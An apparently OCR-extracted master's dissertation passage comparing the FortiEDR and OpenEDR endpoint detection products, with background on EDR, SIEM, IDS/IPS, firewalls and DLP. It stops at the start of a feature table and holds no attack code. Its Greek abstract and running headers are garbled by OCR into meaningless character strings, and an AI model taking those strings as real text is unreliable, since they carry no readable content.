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Abstract

Nowadays, endpoint security solutions are an essential tool for all organizations in order to
protect the network devices. The global endpoint security market is expected to rise even more
the following years as the need for security becomes a big concern. Although the most
important aspect is the quality of the products, traditional signature based malware detection
alone is no longer sufficient in order to be protected. | will try to analyze some key components
of a robust endpoint security solution and their protective effects on a system.

In many instances where security is a problem we are trying to solve, consultants and
Security officers may suggest the company to spend big amounts of money in order to purchase
an EDR solution for the business. However if we don’t put the system on a test, we cannot be
certain that the solution works as intended.

The team should spend time on the configuration of the solution in order to make sure
that it detects attackers' activity (network connections, changes in registry) and not only classic
signature based ones. Team should check the defaults rules that are available and in general
verify that the products meet the requirements that the business has and the things the
company claims to be doing.

The aim of this master dissertation is to create an in depth comparison of two EDR -
systems for assessing cyber security needs and corporate requirements. The primary objective
of this paper is to understand the advantages and disadvantages of each solution in an
everyday scenario and the information they provide to a Cyber Security Analyst that is working
towards ensuring the Confidentiality, Integrity and Availability of the environment they are
protecting.

Finally, it also provides the opportunity to review the already existing solutions that exist
and give recommendations on improvement for the providers.

2Auepa, ol AUOEIG TTPOOTOCIOG TWV TEPUATIKWY Eival éva atrapaitnTo epyaAcio yia GAOUg Toug
opyaviouoUG TTPOKEIYEVOU VA TTPOCTATEUOOUV TIG OUOKEUEG TOU BIKTUOU. H CrTnon, avapéveral
va auénBei akOPn TTEPICOOTEPO Ta ETTOUEVA XPOVIa KABWG N avaykn yia ac@daAeia aufaveral. Av
Kal TO TTIO0 ONPAVTIKO OTOIXEiO €ival n TroidtnTa Twv TIPOoidvTwy, n ouvnBig avixveuon
KakOBouAou AoyiouIKOU pE BACn TIG UTTOYPAQEG Dev gival TTAEOV ETTAPKNG YIA va €EQC@QAAICEI
TpooTacia. Oa TpooTadriow va avaAuow HEPIKA KUpIa OToIXEio HIag agidtmoTng Auong
ACQAAEIAG TEPUATIKWY Kal TNV €TTIOpACN TOUG O€ £vav Opyaviouo.

2KOTTOG QUTAG TNG METOTITUXIAKNG OIaTPIBAG €ival va OnuIoupyrnoel HIa AETITOPEPNA
ouykpion duo cuoTnuaTtwy EDR yia Tnv agloAdynon Twv avaykwy KuBEpVoao@AAEIag Kal Twv
eTalpikwy amaimioewv. O Bacikdg OTOXOG QUTAG TNG €PYaCiag €ival va KATAVOAOEl TA
TTAEOVEKTAUOTO KAl TGO MEIOVEKTAMOTO KABe AUong o€ éva kabnuepivd oevdplo Kal TIG
TTAnpo@opie¢ Tou Trapéxouv ot évav AvaAluth KuBepvoao@daAeiag TTou epydletal yia Tn
dlao@ahion NG Exepubeiag, TG AkepaidtnTag kal TG AloBeoipdtnTag Tou TEPIBAAAOVTOG TTOU
TIPOCTATEUEI.

Téhog, auti n epyacia Trapéxel €miong TN duvatdtnTa va afiohoyAoel TIG AdN
UTTApXoUaeG AUCEIG KAl VO TTPOTEIVEI BEATIWTEIS yIa TOUG TTAPOXOUG.
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Introduction

[1] The digital transformation of the economy and society has led many entities to face new
opportunities and challenges. It is estimated that more than 125 billion devices will be
connected to the internet by the year 2030, from 27 billion in 2021 and about 90% of the people
over the age of 6 will have an online presence. Cyberspace by its very nature relies on the
interconnection of communities of all forms and as the digital and physical worlds are
increasingly interconnected, new risks arise.

The use of digital solutions has long been on the rise and especially teleworking, online
shopping, and keeping in touch online rose sharply during the Covid-19 lockdown. These
solutions benefited consumers and supported the economy, although this led to increased
malicious cyber activities.

Attackers use many different ways to trick users. They may use phishing websites and
emails with malicious links and attachments to steal banking information or blackmail
organizations after blocking their IT systems and data. Secure cyberspace is a must for the
digital single market: enabling solutions and unlocking its full potential by making people
confident online. The 2020 EU index indicated that 39% of European citizens who used the
internet experienced security-related problems.

The damage caused by cyberattacks goes beyond the economy and finance, affecting
the very democratic foundations of our world and threatening the basic functioning of society.
Essential services and critical sectors such as transport, energy, health, and finance, have
become increasingly dependent on digital technologies. This, together with the increase in
physical objects connected to the Internet of Things, can have direct consequences, including
making cybersecurity a matter of life and death.

From cyberattacks on hospitals, causing them to postpone urgent medical procedures,
to attacks on power grids and water supply - attackers are threatening the supply of essential
services. And as cars and homes become increasingly connected, they could be threatened or
exploited in unforeseen ways. Cyberattacks, deployed with disinformation, economic pressure,
and conventional armed attacks, are testing the resilience of democratic states and institutions,
directly targeting peace and security in the world.

Cybersecurity threats in the European Union are affecting sectors vital for society. The
top five sectors affected, as observed by the European Union Agency for Cybersecurity (Enisa)
between April 2020 and July 2021, are public administration/government (198 incidents
reported), digital service providers (152), the general public (151), healthcare/medical (143) and
finance/banking (97). [3]

Assessing Open and Closed EDRs 8
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TOP 5 SECTORS AFFECTED
BY CYBERSECURITY THREATS

Incidents related to prime threats observed by the European Union
Agency for Cybersecurity between April 2020 and July 2021

Public administration/government
Digital service providers

General public
Healthcare/medical

Finance/banking

Source: European Union Agency for Cybersecurity (2021)

Main sectors affected by cyber threats

There are nine prime threat groups:

Ransomware — attackers encrypt an organization’s data and require payment to restore access
Cryptojacking — when cybercriminals secretly use a victim’s computing power to generate
cryptocurrency

Threats against data — data breaches/leaks

Malware — a software, which triggers a process that affects a system
Disinformation/misinformation — the spread of misleading information

Non-malicious threats — human errors and misconfigurations of a system

Threats against availability and integrity — attacks that prevent the users of a system from
accessing their information

Email-related threats — aims at manipulating people to fall victims to an email attack

Supply chain threats — attacking, for example a service provider, in order to gain access to a
customer's data [5]

Our ally in repelling and preventing these attacks are a variety of security technologies such as
endpoint detection and response (EDR), network detection and response (NDR), extended
detection and response (XDR), and security information and event management (SIEM). In this
paper we will focus on Endpoint Detection and Response solutions, we will analyze them and
compare the differences between the two of them.

Assessing Open and Closed EDRs 9



MeTtatrTuyiokn AloTpifn ewpylog MavayiwTakdTouAog

Aim of this paper

The aim of this paper is to create an in-depth comparison of two EDR - systems for assessing
cyber security needs and corporate requirements. It is important to analyze the advantages and
disadvantages of each solution in order for people in authority to choose which solutions fit their
needs.

This comparison is from the perspective of a Cyber Security Analyst and we will assess
the everyday needs, both on the analytic side and the remediation options. | hope, with my view,
to help organizations get an idea of some options of the products, and also AV vendors and
threat intelligence providers what they need to have in their package in order to make the
analyst job more efficient.

Another reason | decided to analyze and compare open source solutions and compare
them with paid ones is to provide teams that might be struggling to cope with the increasing cost
of cybersecurity, to protect themselves as a first countermeasure.

Structure of this paper

The paper starts with an introduction on what security tools are available at the moment, and
which one is best for each cause. We will then analyze the reason behind our choice to test the
specific tools and name these tools.

After that, we will compare them one to one and see the advantages and disadvantages
of each solution in theory. Then we will install both of these solutions in a test environment and
we will perform various tests with attacks and malicious code and we will differentiate the
results.

In the end, | will present the results, compare the performances of both tools and see
their weaknesses. | will also give some recommendations for organizations that want to protect
themselves using this technology, either on open-source solutions or paid ones.

Security solutions

The days of signature-based endpoint detection and response using simple Antiviruses are in
the past as they proved to solve only a small part of the problem. Threat actors have changed
tactics and proceeded aggressively toward more sophisticated viewpoints such as polymorphic
malware and file-less attacks.

The constant emergence of new types of malware makes it a challenge to detect and fix
vulnerabilities in a timely manner, particularly when the field of cybersecurity is facing a shortage
of experts and resources. Additionally, many companies fail to promptly implement patches and
IT security teams often have limited oversight of multiple endpoint devices.

In this section we will analyze the tools that already exist in our arsenal, and are really
important when dealing with cyber security threats

Assessing Open and Closed EDRs 10
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Endpoint Detection and Response (EDR)

EDR stands for Endpoint Detection and Response or Endpoint Threat Detection & Response
which was a term introduced back in 2013 by the researcher Anton Chuvakin [2], is a tool used
to inform security teams about suspicious activity in a network. The basic goal of this tool is to
prevent an attack before it happens thus forbidding the malicious actor to enter the network, and
not so much to mitigate the threat. EDR systems are able to defend companies by deploying an
agent on every connected endpoint device. These agents have the ability to recognize
suspicious activities that were overlooked by the firewall, such as changes to the registry and
file manipulations.

By adopting EDR tools, companies get the ability to contain malicious files on their
systems and be able to look back on the history data to investigate and potentially determine
the point of compromise. EDR works by aggregating endpoint statistics, including running
processes, network connections, account logins, and file executions, and tries to recognize
anomalies that might come from malicious actions. The next step is to try and respond to that
threat as it executes automated and manual operations in order to isolate it and eliminate it from
the network. EDR has the authority of stopping running processes, delete files or block their
execution, and remotely isolate the affected host.

Based on research from ESG-Research Insights Reports, about 40% of the
organization's biggest security operations priorities is to Invest in processes and technologies
to automate security operations activities related to incident response. [6] Many EDR systems
have Al or machine learning features that have the ability to detect new or existing threats
based on their suspicious activity and this can help tremendously towards that goal. EDR also
has the capability to run post-execution and can help while doing dynamic analysis in order to
filter fileless behaviors and monitor file access and executions.

Summing up, EDR systems are able to monitor endpoint behavior and mitigate attacks on the
systems that have an agent installed. Combining them with signature-based detection
(Antivirus), Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS), device
discovery, virtual patching, and pre-emptive device posture applications, can provide multiple
layers of protection and a comprehensive view of the security posture across the entire
enterprise.

In short, EDR has the ability to:

1. Monitor all the traffic (network data) from endpoints for abnormalities or figures that
might indicate a cyber threat or a breach

2. Automated response capabilities, remove, or isolate all threats and malicious files, and
inform the security team of their presence and risk to the network.

3. Search on the internet for threats that exist on the system based on their signatures
(hashes)

4. Incident investigation and forensic capabilities, to enable security teams to perform
detailed analysis and forensic investigation of endpoint devices and related network
communications

5. Advanced threat detection and response, to identify, isolate and respond to advanced
threats, ransomware, and malicious processes on endpoint devices

Assessing Open and Closed EDRs 11
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Network Detection & Response (NDR)

NDR is another security tool that provides clarity of unknown, known, and zero-day
vulnerabilities that exist in a company’s network. NDR also provides in-house management in
one console that can perform investigations with the help of Artificial Intelligence to check
incoming and outcoming traffic. Using playbooks, can take automated remediation steps and
respond to various threats.

EDR differs from NDR in the way that the latter focuses more on monitoring and
blocking when necessary the suspicious traffic it sees. In cases where threat actors manage to
overcome the EDR protection is likely to be blocked by network detection and response.

NDRs are able to monitor differences in network activity and correlate them with
endpoint and cloud data. Their ability to recognize an incoming threat at the Packet level
provides a real-time response as it focuses on analyzing packets as they are entering the
network.

The correct implementation of an NDR is in combination with other solutions such as
Security Information and Event Management (SIEM), Endpoint Detection and Response ( EDR),
and log analysis tools.

Extended Detection and Response (XDR)

XDR is another well-known solution that is being used nowadays. It attempts to bring a more
proactive approach to threat detection and response by providing a one-platform solution that
offers visibility across multiple data streams (endpoint, network, and cloud). It is supposed to be
the next Evolution EDR, making it more effective because it integrates multiple sources with the
integration of application, network, and data sources.

XDR’s approach can help eliminate some of the issues security professionals face such
as the difficulty in prioritizing alerts, the diversity of different tools used, and the overload in
alerts. When a security team is able to correlate security events across different environments it
can find and stop attacks such as ransomware at an earlier stage. It is also important that with
the

Three types of XDR, platforms exist:
Native (works only with products from a single vendor)
Open (works with all vendors)
Hybrid (can integrate data from some outside vendors, with limitations)

Security Information Event Management (SIEM)

SIEM stands for Security Information and Event Management. It is a special kind of software or
hardware solution which offers organizations the ability to collect, analyze, and respond to
security-related data from different sources in real time. There are two main components that
are included in SIEM solutions:

Assessing Open and Closed EDRs 12
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e A Security Information Management (SIM) system, which is responsible for collecting
and storing data regarding security events, such as log files, network traffic data, and
alerts from devices like firewalls and IDS.

e An Event Correlation and Analysis (ECA) system, which is responsible for analyzing the
data collected by the SIM system and identifying any potential security threats or
anomalies.The previous usually include analyzing log files in order to detect suspicious
activity, such as failed login attempts or changes to system configuration files and
alerting the soc team of any potential problems.

The aim of SIEM is to help organizations to detect and respond to security threats
quickly and effectively by providing real-time visibility into security-related data from various
sources and making it easier to identify and respond to potential security incidents. It's widely
used in the field of security to help enterprises and organizations to protect their network and
systems from being compromised by hacking, cyber attack, data breach, and so on.

Security Orchestration, Automation, and Response (SOAR)

SOAR stands for Security Orchestration, Automation, and Response. It's an approach or
solution to help organizations to automate and streamline their incident response process, by
providing a unified platform for coordinating and automating various incident response tasks and
activities.

SOAR platforms typically include features such as:

e Automated incident triage and prioritization, which helps to quickly identify and respond
to high-priority incidents.

e Workflow automation, which allows organizations to define and automate incident
response procedures, such as incident investigation and remediation.

e Integration with various security tools and systems, such as SIEMs, firewalls, and
intrusion detection systems, to collect and analyze data from multiple sources.

e Collaboration and communication tools, which allow incident response teams to share
information and coordinate their activities effectively.

e Playbook and case management system which allow the ability to store and reuse
standard incident response procedures and templates.

The goal of SOAR is to improve incident response speed, efficiency, and effectiveness
by automating routine incident response tasks and activities and providing a centralized platform
for coordinating and managing incident response efforts across an organization. By automating
repetitive tasks and incident triage, security teams can focus on higher-level incident response
and investigation, which allows organizations to respond to incidents more quickly and
effectively. SOAR also helps to bridge the gap between security operation and incident
response teams by providing a single platform to view, investigate and manage all incident
types.

Intrusion Detection System, (IDS)

An IDS, is a type of security software or hardware solution that is designed to detect and alert
on potential security threats or intrusions on a computer or network.
Assessing Open and Closed EDRs 13
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There are two main types of IDS:
e Network-based IDS (NIDS) : Analyzes network traffic and looks for signs of malicious
activity, such as unusual traffic patterns or attempts to exploit known vulnerabilities.
e Host-based IDS (HIDS) : Analyzes activity on a specific host (e.g. computer or server)
and looks for signs of malicious activity, such as changes to system files or
unauthorized access attempts.

An IDS works by monitoring network or system activity and analyzing it against a set of
predefined rules or patterns to identify potentially malicious behavior. When a potential intrusion
or threat is detected, the IDS generates an alert and may take automated actions to respond to
the threat, such as blocking network traffic from a specific IP address or quarantining a
suspicious file. Some IDS systems can also be integrated with other security solutions, such as
SIEMSs, to provide more detailed analysis and response capabilities.

An IDS is typically used as part of an organization's overall security strategy and can be
used in conjunction with other security solutions such as firewalls, antivirus software, and
intrusion prevention systems (IPS) in order to provide multiple layers of protection.

Intrusion Prevention System(IPS)

An IPS, is a type of network security solution that is designed to detect and prevent security
threats or intrusions on a computer or network. An IPS works by analyzing network traffic and
identifying potential security threats, such as attempts to exploit known vulnerabilities or access
restricted resources. Once a potential threat is identified, the IPS can take a variety of actions to
prevent the threat from being successful, such as blocking network traffic from a specific IP
address or quarantining a suspicious file.

There are two main types of IPS:
e Network-based IPS (NIPS) : Analyzes network traffic and looks for signs of malicious
activity, such as unusual traffic patterns or attempts to exploit known vulnerabilities.
e Host-based IPS (HIPS) : Analyzes activity on a specific host (e.g. computer or server)
and looks for signs of malicious activity, such as changes to system files or
unauthorized access attempts.

One of the major differences between an IDS and IPS is that an IDS will alert on the
possible malicious traffic and security breaches and leave the response to the admin or security
team, while an IPS will take action to stop or prevent the malicious traffic or security breaches
from taking place. IPS is typically considered more advanced than IDSs because they can
prevent intrusions in addition to detecting them.

An IPS is typically used as part of an organization's overall security strategy and can be
used in conjunction with other security solutions such as firewalls, antivirus software, and
intrusion detection systems (IDS) in order to provide multiple layers of protection.

Antivirus (AV)

AV is a type of security software that is designed to detect and remove malware from a
computer or network. Malware is a general term used to describe any software that is designed
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MeTtatrTuyiokn AloTpifn ewpylog MavayiwTakdTouAog

to harm or exploit a computer or network and can include viruses, worms, Trojans, ransomware,
and other malicious software.

Antivirus software typically works by analyzing the contents of a computer's hard drive,
memory, and network traffic for signs of malware, and then removing or quarantining any
malware that is found. The software typically includes a set of predefined rules or patterns that it
uses to identify malware, and it can also be updated with new rules or patterns as new types of
malware are discovered. Some AV software also has the ability to actively block new malware
from entering the network by identifying and blocking network traffic from known malicious IP
addresses.

AV software typically runs in the background, constantly scanning a computer or
network for signs of malware, and can also be configured to perform scheduled scans or scans
of specific files or directories. It can also alert the user to take certain actions when it detects
malicious software. Some advanced AV solutions also provide additional features like Real-time
protection, Sandboxing, Advanced threat protection, and so on.

AV software is an important aspect of network and computer security and can help to
protect against malware and other malicious software that can cause damage to a computer or
network, steal personal information, or compromise the security of sensitive data.

Firewall

A firewall is a security system that is put in place to block unauthorized access to or from a
private network. It can be either in the form of software or hardware, and its function is to control
and monitor incoming and outgoing network traffic based on predefined security rules.

The firewall acts as a barrier between the private internal network and the public
Internet, only permitting authorized traffic to pass through. It is used to block unwanted incoming
traffic and allow specific types of outgoing traffic. They are commonly employed to secure
networks from cyber threats such as unauthorized access and malware.

Firewalls can be broadly classified into two categories: network firewalls and host-based
firewalls. Network firewalls are placed at the entrance of a network to monitor and regulate
incoming and outgoing traffic. On the other hand, host-based firewalls are installed on individual
devices, such as computers and servers, to safeguard the device and control the flow of traffic
to and from the device.

Different methods, such as packet filtering, stateful inspection, or application-level
gateway (proxy-based firewall), can be utilized by firewalls to manage network traffic.
Additionally, they may employ various rule sets, such as access control lists (ACLs), to regulate
the flow of traffic. While firewalls can play a crucial role in an organization's overall security plan,
it's important to keep in mind that they are not a complete solution. Firewalls alone cannot guard
against all types of threats and should be combined with other security measures like antivirus
software, intrusion detection and prevention systems (IDPS), and security incident and event
management (SIEM) systems to provide comprehensive protection.
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Data Loss Prevention(DLP)

DLP is a security measure that assists organizations in preventing sensitive data from being
lost, stolen, or misused. DLP solutions are intended to identify, monitor, and safeguard sensitive
data, including credit card numbers, financial information, and personal data, as it is created,
accessed, and stored.

These solutions usually consist of a combination of software, hardware, and policies to
aid organizations in protecting sensitive data. DLP can be implemented on-premises, in the
cloud, or as a hybrid solution to cater to the organization's needs.

DLP solutions typically offer several important features, such as:

e Data discovery: The ability to automatically locate sensitive information across various
systems, including endpoints, servers, and cloud services.

e Data classification: The ability to categorize sensitive data, such as credit card
numbers, social security numbers, and personal health information, based on
predefined policies.

e Data monitoring: The ability to observe and examine data in real-time as it is created,
accessed, and stored, and to take action if a violation is detected.

e Data encryption: The ability to encrypt sensitive data to safeguard it from unauthorized
access.

e Data blocking: The ability to prevent sensitive data from being transferred or shared
through email, instant messaging, or other communication channels.

e Reporting and Auditing: The ability to provide reports and audit trails to help
organizations identify and track data breaches and compliance violations.

DLP solutions can assist organizations in protecting sensitive data and complying with
regulations such as HIPAA, PCI-DSS, and GDPR. Implementing a DLP solution can give
organizations visibility and control over sensitive data, and aid them in reducing the risk of data
breaches and compliance violations.
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EDR as a tool

EDR solutions are becoming increasingly important as the number of endpoint devices and the
volume of data they generate continue to grow, and as the threat landscape becomes more
complex and sophisticated. EDR solutions can help organizations to detect and respond to
security incidents more quickly and effectively, and to improve their overall security posture.

Since in this paper, we will focus on EDR solutions we should analyze these
technologies by further clarifying the types of EDRs that exist, and compare the technologies
and their capabilities whether they are paid or open source ones.

How EDR detects malicious activity

It is important at this point to describe how an EDR is able to detect malicious activity. This
process is called hooking.

Function hooking refers to intercepting the system call or a specific function and altering
its standard behavior of it. This means that an EDR system would intercept a specific function of
system activity, for example, file system operations, process creation, network traffic, etc. It
would insert a hook that sits in the middle on the function call and its destination that would
allow it to inspect and alter the information being passed.

To be more precise, an EDR may create a hook to the CreateProcess function, that is in
charge of creating new processes in the system. Every time a new process is created, the hook
will check the process information being passed to the function. EDR would ensure based on
the analysis whether this behavior matches the patterns of known malicious activity. On the fact
that the process has malicious intent, EDR would block or quarantine the specific action.

Likewise, the EDR could also hook to functions such as WriteFile or CreateFile which
are related to file system activity. By doing that, EDR could analyze that activity in order to
detect and prevent activities like file encryption, file deletions, or modifications in general. Apart
from the previous, EDR systems can use hooking techniques on network-related functions. By
hooking to send or receive, it could analyze all the data being communicated between
processes and the external network. This would result in detections of data exfiltration,
command and control communication, etc.

Types of EDR

As said earlier there are several types of Endpoint Detection and Response (EDR)
solutions, each with their own specific capabilities and approaches to threat detection and
response.

Some common types of EDR solutions include:
e Agent-based EDR: This type of EDR solution uses a software agent that is installed on
endpoint devices to collect and transmit data about the device's activity and network
communications to a central management console. This type of EDR solution typically
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offers advanced threat detection and response capabilities, and also allows for real-time
monitoring and management of endpoint devices.

Agentless EDR: This type of EDR solution uses network-based sensors or other types
of collection mechanisms that don't require the installation of an agent on endpoint
devices. This type of EDR solution typically relies on analyzing network traffic, or events
logged by other security solutions, such as firewall logs, to detect and respond to
threats.

Cloud-based EDR: This type of EDR solution uses cloud-based infrastructure to collect,
store, and analyze data from endpoint devices. They are designed to allow
organizations to easily scale their EDR capabilities, and can offer more advanced threat
detection and response capabilities by using cloud-based analytics and machine
learning.

Endpoint Protection Platform (EPP): This type of EDR includes both traditional security
solutions, for example antivirus, firewalls and IPS, as well as more advanced features
like endpoint detection and response, in a single integrated platform.

Behavioral EDR: This type of EDR solution uses artificial intelligence, machine learning,
and behavioral analysis in order to detect unusual activity on endpoint devices. It can
detect and respond to unknown threats that it uses against traditional security solutions.

All these kinds of EDR solutions have their own strengths and weaknesses. Some of

them may be suited better for some organizations and use cases. It is vital for an organization to
analyze their needs and use-cases in order to choose the EDR solution that fits their needs

EDR general capabilities

Endpoint Detection and Response (EDR) solutions usually include a wide range of capabilities
that are designed to detect and respond to security threats on endpoint devices.

Some common capabilities of EDR solutions include the following:

Continuous monitoring and visibility: EDR solutions continuously monitor endpoint
devices for signs of suspicious activity or anomalies, and provide detailed visibility into
the activity on each device.

Advanced threat detection and response: EDR solutions use advanced threat
intelligence, machine learning, and heuristics to identify known and unknown threats,
including advanced persistent threats (APTs), ransomware, and other malware.

Incident investigation and forensic capabilities: EDR solutions provide detailed
information and analysis of endpoint activity, allowing security teams to perform forensic
investigations and determine the scope and impact of security incidents.

Automated response capabilities: EDR solutions can be configured to automatically
respond to detected threats, such as isolating or quarantining infected endpoint devices.
Integration with other security solutions: EDR solutions can be integrated with other
security solutions, such as firewalls, intrusion detection systems (IDS), and security
information and event management (SIEM) systems, to provide a comprehensive view
of security across an organization.

Compliance and reporting: EDR solutions can provide detailed reporting and logging for
compliance and auditing purposes.

Remote management: EDR solutions typically provide a centralized management
console, which allows security teams to remotely manage endpoint devices, deploy
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Endpoint Detection updates and patches, and monitor and respond to security incidents
from a single location.

e Cloud-based solution: Some EDR solutions are cloud-based, which allows for easy
scalability and management of endpoint devices, and can also provide more advanced
threat detection and response capabilities by leveraging cloud-based analytics and
machine learning.

Paid EDR solutions

In this chapter we will analyze the most well known paid EDR solutions that are available in the
market. These are the following:

e Carbon Black: Carbon Black is a popular EDR solution that provides real-time threat
detection and response capabilities. It includes features such as behavioral analytics,
machine learning, and integrated incident response capabilities. Crowdstrike:

e Crowdstrike is a cloud-based EDR solution that provides real-time threat detection,
response, and forensic capabilities. It includes features such as machine learning,
behavioral analytics, and integrated incident response capabilities.

e McAfee Endpoint Protection: McAfee Endpoint Protection is a comprehensive EDR
solution that includes features such as real-time threat detection, response, and
forensic capabilities.

e Symantec Endpoint Protection: Symantec Endpoint Protection is a EDR solution that
provides advanced threat protection and incident response capabilities, it also include
features such as behavioral analysis and cloud-based threat intelligence.

e Trend Micro: Trend Micro is a EDR solution that provides advanced threat protection
and incident response capabilities, it also include features such as behavioral analysis,
machine learning and Al-based threat detection.

e FortiEDR: (Endpoint Detection and Response) is a paid solution that provides advanced
threat protection and incident response capabilities for endpoints. It is developed and
maintained by Fortinet, a well-known provider of cybersecurity solutions.

These EDR solutions typically have more robust feature sets and capabilities compared
to open-source options and provide more support from the vendor. However, they also tend to
be more expensive and can require more resources to deploy, operate and maintain. It's
important to understand the specific requirements of the project the teams are trying to build
and evaluate the features, costs, and capabilities of each solution in order to decide with which
one to go with.
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Open Source EDR Solutions

There are a number of free and open-source Endpoint Detection and Response (EDR) solutions
available.

e OSSEC: OSSEC is a host-based intrusion detection system (HIDS) that can be used to
monitor and detect malicious activity on a system. It includes a number of features for
analyzing system logs, identifying suspicious activity, and responding to potential
threats.

e AIDE: Advanced Intrusion Detection Environment (AIDE) is a free, open-source
host-based intrusion detection system that can be used to detect changes to files on a
system.

e SELKS: SELKS is a free, open-source network security distribution based on Debian. It
includes a number of security tools such as Suricata and Elasticsearch, and can be
used for intrusion detection and response.

e Auditd: It is a system and application auditing tool that can be used to track and detect
suspicious activity on a system by monitoring system calls and generating logs.
Suricata: It is a free and open-source intrusion detection and prevention system that
can be used to monitor network traffic and identify malicious activity.

e WHIDS: WHIDS, or Windows Host IDS, is an open-source Endpoint Detection and
Response (EDR) tool that focuses on Windows systems. As a host-based intrusion
detection system (HIDS), it continuously monitors system events and behaviors for
signs of potential security threats. [17]

e Zeek (Bro): It is a powerful open-source network security monitoring system that can be
used to capture, analyze, and alert on network traffic.

e Wazuh: Wazuh is a free and open-source security platform that unifies XDR and SIEM
capabilities. It protects workloads across on-premises, virtualized, containerized, and
cloud-based environments.

These solutions can be useful as a complement to commercial EDR solutions or as an
alternative solution for organizations that have limited budgets. Nevertheless, keep in mind that
they may require additional customization and configuration to meet the specific needs of an
organization. Also, open-source solutions may have less robust feature sets and potentially
require more technical expertise to maintain and operate

Paid vs Open source solutions

Paid Endpoint Detection and Response (EDR) solutions are typically more feature-rich and
provide more support from the vendor compared to open-source options. They typically include
advanced threat detection and response capabilities, such as behavioral analytics and machine
learning, and have the ability to integrate with other security tools like SIEM and threat
intelligence platforms. Paid EDR solutions often come with managed service options, where
dedicated security experts monitor and respond to incidents 24/7.

They also provide rich reporting capabilities that allow organizations to identify and track
security trends over time. However, paid EDR solutions are typically more expensive and
require more resources to deploy, operate, and maintain, but they also provide a more complete
and robust set of features, capabilities, and vendor support.
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Some of the key features that paid EDR solutions typically include are:

e Real-time threat detection: Paid EDR solutions typically have advanced threat detection
capabilities, such as behavioral analytics and machine learning, that can detect
malicious activity in real time.

e Incident response: Paid EDR solutions often include incident response capabilities such
as automated incident investigation, automated containment, and incident analysis.

e Advanced threat protection: paid EDR solutions typically provide a wide range of threat
protection capabilities, such as anti-malware, anti-ransomware, intrusion prevention,
and memory-based protection.

e Forensics: Paid EDR solutions often include advanced forensic capabilities such as
memory analysis, live response, and incident visualization.

e Integration: Paid EDR solutions typically provide integration with other security tools
such as SIEM, threat intelligence platforms, and incident management systems.

e Managed Services: Many EDR solution providers offer managed service options, which
can provide organizations with the benefits of having dedicated security experts to
monitor and respond to incidents 24/7.

e Reporting: Paid EDR solutions often provide rich reporting capabilities, such as
vulnerability reports, compliance reporting, and incident summaries, that help
organizations identify and track security trends over time.

Open-source EDR solutions, on the other hand, are often free to use and can be
customized to meet the specific needs of an organization. They are typically more flexible and
can be used to build a custom security solution. These tools may also lack the level of support
and documentation available with paid solutions, and they may not provide the same level of
incident response and forensic capabilities.

Ultimately, the decision between using a paid or open-source EDR solution will depend
on the specific needs and resources of the organization. While open-source EDR solutions can
be a good fit for organizations with small budgets, and technical expertise, paid EDR solutions
may be a better option for organizations that require more advanced features and support.lt's
important to understand the specific requirements of the organization and evaluate the features,
costs, and capabilities of each solution before making a decision on which of the two are used.

In terms of budget, paid EDR solutions like FortiEDR can be more expensive than
open-source options. It's important to evaluate the costs associated with deploying and
maintaining the solution and compare them to the benefits that the solution offers to the
organization.

In terms of specific security challenges, it's important to consider what types of threats
and attacks the organization is facing and whether the solution can provide adequate protection
and response capabilities. For example, if an organization is particularly concerned about
advanced threats such as zero-day attacks, then a paid solution like FortiEDR, which has
advanced threat detection and response capabilities, maybe a better fit.

When considering FortiEDR specifically, it's important to evaluate the solution's
features, capabilities, and support offered by Fortinet. Furthermore, integration with other
Fortinet solutions may provide a holistic security posture for an organization, but it also could
introduce some complexity and additional costs depending on the organization's current security
stack and infrastructure.
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Tools used

Theoretical analysis

In this paper, in order to run our test I am going to use two different EDRs. For the paid
tool I will use FortiEDR provided by Adacom SA and for the open-source option, I will
use the OpenEDR project. In this chapter, we will compare the two different Endpoint
Detection and Response solutions we chose for this paper referring to their
characteristics.

FortiEDR

FortiEDR (Endpoint Detection and Response) is a paid solution that provides advanced
threat protection and incident response capabilities for endpoints. It is developed and
maintained by Fortinet, a well-known provider of cybersecurity solutions.

As Fortinet supports on its website, “FortiEDR delivers innovative endpoint security
with real-time visibility, analysis, protection, and remediation. As proven in MITRE
evaluations, FortiEDR proactively shrinks the attack surface, prevents malware
infection, detects and defuses potential threats in real-time, and automates response and
remediation procedures with customizable playbooks. It also identifies and stops
breaches in real-time automatically and efficiently. And it does so without a slew of
false alarms or disrupting business operations.’’[4]

Some of the key features of FortiEDR include:

> Real-time threat detection: FortiEDR provides advanced threat detection
capabilities, such as behavioral analytics and machine learning, that can detect
malicious activity in real-time.

> Incident response: FortiEDR includes incident response capabilities such as
automated incident investigation, automated containment, and incident analysis.

> Advanced threat protection: FortiEDR provides a wide range of threat protection
capabilities, such as anti-malware, anti-ransomware, intrusion prevention, and
memory-based protection.

> Forensics: FortiEDR includes advanced forensic capabilities such as memory
analysis, live response, and incident visualization.

> Integration: FortiEDR provides integration with other Fortinet security solutions,
such as SIEM, threat intelligence platforms, and incident management systems.

> Managed Services: Fortinet offers managed service options, which can provide
organizations with the benefits of having dedicated security experts to monitor
and respond to incidents 24/7.
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> Reporting: FortiEDR provides rich reporting capabilities, such as vulnerability
reports, compliance reporting, and incident summaries, that help organizations
identify and track security trends over time.

FortiEDR offers a comprehensive solution that can provide advanced threat protection,
incident response, and forensic capabilities for endpoints. The added value of
integration with other Fortinet solutions can provide a seamless and holistic security
posture for an organization. However, as with any paid solution, it also comes with a
higher cost and may require additional resources to deploy, operate and maintain.

OpenEDR

Comodo OpenEDR is an endpoint detection and response (EDR) solution developed by
Comodo Cybersecurity. OpenEDR is designed to detect and respond to advanced threats
and malware that traditional antivirus software may miss. It uses behavior-based detection
to monitor endpoints and detect suspicious activity, such as fileless malware, privilege
escalation, and lateral movement.

From November 2020, Comodo EDR became Open Source and free for organizations or
individuals to use, with the restriction of 3 days retention policy on all logs[8]. OpenEDR
also includes a threat intelligence platform to provide users with real-time updates on
emerging threats. The solution can be deployed on-premises or in the cloud and can be
integrated with other Comodo cybersecurity products for comprehensive endpoint
protection. Although it may not have the same level of advanced threat detection and
response capabilities as FortiEDR, it is considered a respective alternative to paid
solutions.

Summing up FortiEDR is generally considered a more comprehensive solution that
provides advanced threat protection, incident response, and forensic capabilities. However,
it also comes with a higher cost and may require additional resources to deploy, operate,
and maintain. OpenEDR, on the other hand, is a cost-effective and customizable solution.
But, it's limited to the detection and alerting capability and doesn't provide incident
response capabilities and forensic capabilities as FortiEDR does.
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In the following table we will analyze the differences between the two EDR solutions:

Feature FortiEDR Comodo OpenEDR
Malware Yes, using signature-based and
detection behavioral-based detection Yes, using behavioral-based detection
